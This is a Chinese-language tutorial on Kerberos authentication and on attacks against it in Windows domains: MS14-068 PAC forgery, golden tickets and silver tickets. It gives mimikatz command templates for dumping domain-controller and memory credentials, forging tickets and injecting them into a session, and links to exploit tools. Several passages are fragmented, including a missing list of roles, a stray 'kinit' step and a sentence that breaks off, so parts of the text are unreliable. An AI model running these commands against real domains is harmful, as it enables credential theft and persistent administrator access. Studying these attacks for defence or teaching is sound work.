Kerberos 是一种网络认证协议,是通过密钥系统为客户机/服务器应用程序 提供认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址 的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意的读取、 修改和插入数据。
Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
在Kerberos协议中,存在三个主要角色:
KDC 默认安装在**域控**中,而 Client 和 Server 为域内的用户或者服务,如 web 应用、数据库服务器和邮件服务器等。Client 是否有权限访问 Server 端的服务由 KDC 发放的**票据**来决定。如果把 Kerberos 中的票据比作一张火车票,那么 Client 端就是乘客,Server 就是火车, 而 KDC 就是火车站的认证系统。如果 Client 端的票据是合法的(由你本人身份证购买并且 由你本人持有)同时有访问
Server 端服务的权限(车票对应车次正确)那么你才能上车。当然和火车票不同的是 Kerberos 中有两张票据,而火车票只有一张。
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向Server 发起认证请求。这个过程分为三块:
The Authentication Service Exchange: Client 与 AS 的交互
The Ticket Granting Service Exchange: Client 与 TGS 的交互
The Client/Server Authentication Exchange: Client 与 Server 的交互
Kerberos的认证流程大致可以分为以下几个步骤:
kinit USERNAME
,将信息发送给AS。Kerberos的认证过程可以简化为以下步骤:
了解PAC这个东西,PAC是用来验证Client的访问权限的,它会被放在TGT里发送给Client,然后由Client发送给TGS。
Windows域中使用kerberos协议过程中,为了让服务器判断Client是否有权限访问服务,微软在Windows平台上对Kerberos协议进行了一些扩充,即在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书,也就是这个PAC造成了MS14-068这个漏洞。
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意的PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了PAC的Kerberos TGT来获得票证,进而伪造票据获得管理员权限。
利用条件
利用工具
https://github.com/mubix/pykek
https://github.com/fortra/impacket
在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,就可以伪造任意的TGT。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
黄金票据在利用过程中由 KDC颁发 TGT,并且在生成伪造的 TGT 得 20 分钟内,TGS 不会对该 TGT 的真伪进行
前提:
攻击者需要获得管理员访问域控制器的权限,并抓取到KRBTGT的哈希值。
制作条件
制作黄金票据通常需要以下条件:
域名称:需要知道目标域的DNS根域名。
ipconfig/all
域的SID值:SID(安全标识符)是每个域的唯一标识符。
whoami /all
KRBTGT账户NTLM密码哈希:KRBTGT是Kerberos认证过程中的一个重要账户,其密码哈希是制作黄金票据的关键信息。
登上域控,上传mimikatz,抓取krbtgt用户的Hash值
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash以及能够获取域sid
使用mimikatz制作黄金票据
kerberos::golden /user:需要伪造的域管理员用户名 /domain:域名 /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:想要生成的TGT凭证,任意填写
或者
golden_ticket_create -d 域名 -k krbtgt账户的密码hash值 -u 任意的用户名 -s 域SID -t 路径,将生成的票据保存在指定文件中,任意填写
5.再将生成的票据注入内存
kerberos::ptt 生成的TGT凭证
白银票据不同于黄金票据,白银票据的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT,因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,且很少留下日志。白银票据依赖于服务账号的密码散列值。
伪造条件
伪造白银票据通常需要以下条件:
域名
域SID
目标服务器的FQDN
可利用的服务
服务账号的NTLM Hash
要伪造的用户名
登录域控,利用工具mimikatz中的模块进行收集信息,这里简单举例
privilege::debug 管理员身份运行才能进行提权操作
sekurlsa::logonpasswords 抓取内存中保存的用户所有凭据
sekurlsa::msv 抓取内存中保存的用户Hash
利用工具mimikatz进行伪造
kerberos::golden /domain:域名 /sid:域SID /target:域控制器名。即FQDN /rc4:server机器的hash /service:可利用的服务 /user:要伪造的用户名,任意填写
伪造票据
黄金票据伪造的是TGT
白银票据伪造的是ST
加密方式
白银票据由机器账户的hash加密生成
黄金票据由krbtgt的hash加密生成
获取的权限
黄金票据可以获得任意kerberos访问权限
白银票据只能获得部分服务的访问权限
认证流程
黄金票据同TGS交互,不同AS交互
白银票据不同AS也不同TGS交互,直接访问server
构造条件
黄金票据:域名、域sid、krbtgt用户hash、伪造的用户名
白银票据:域名、域sid、dc机器账户hash、伪造的服务、伪造的用户名